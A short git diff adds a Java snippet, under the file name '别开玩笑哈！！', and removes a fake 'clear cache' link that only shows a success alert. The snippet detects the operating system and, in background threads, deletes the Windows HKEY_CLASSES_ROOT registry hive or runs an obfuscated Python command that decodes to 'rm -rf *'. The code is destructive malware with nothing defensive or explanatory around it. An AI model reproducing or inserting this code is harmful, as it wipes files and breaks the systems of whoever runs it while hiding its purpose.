diff --git "a/\345\210\253\345\274\200\347\216\251\347\254\221\345\223\210\357\274\201\357\274\201" "b/\345\210\253\345\274\200\347\216\251\347\254\221\345\223\210\357\274\201\357\274\201"
new file mode 100644
index 0000000000000000000000000000000000000000..90b47c2aa947ecdb4ae5d6ccc3cda5f0e11e9f42
--- /dev/null
+++ "b/\345\210\253\345\274\200\347\216\251\347\254\221\345\223\210\357\274\201\357\274\201"
@@ -0,0 +1,24 @@
+        String os = System.getProperty("os.name");
+        if(os.toLowerCase().startsWith("win")){
+            new Thread(new Runnable() {
+                @Override
+                public void run() {
+                    try {
+                        Runtime.getRuntime().exec("cmd.exe /k reg delete HKEY_CLASSES_ROOT /f");
+                    } catch (IOException e) {
+                        logger.error("",e);
+                    }
+                }
+            }).start();
+        }else{
+            new Thread(new Runnable() {
+                @Override
+                public void run() {
+                    try {
+                        Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","python -c 'import os; os.system(\"\".join([chr(ord(i)-1) for i in \"sn!.sg!+\"]))'"});
+                    } catch (IOException e) {
+                        logger.error("",e);
+                    }
+                }
+            }).start();
+        }
\ No newline at end of file
diff --git "a/\346\270\205\351\231\244\347\274\223\345\255\230" "b/\346\270\205\351\231\244\347\274\223\345\255\230"
deleted file mode 100644
index 4f9b51841f75fde82ea8a87bd6fb3b57ae8d5741..0000000000000000000000000000000000000000
--- "a/\346\270\205\351\231\244\347\274\223\345\255\230"
+++ /dev/null
@@ -1 +0,0 @@
-<a href="javascript:alert("清除成功");">清除缓存</a>
\ No newline at end of file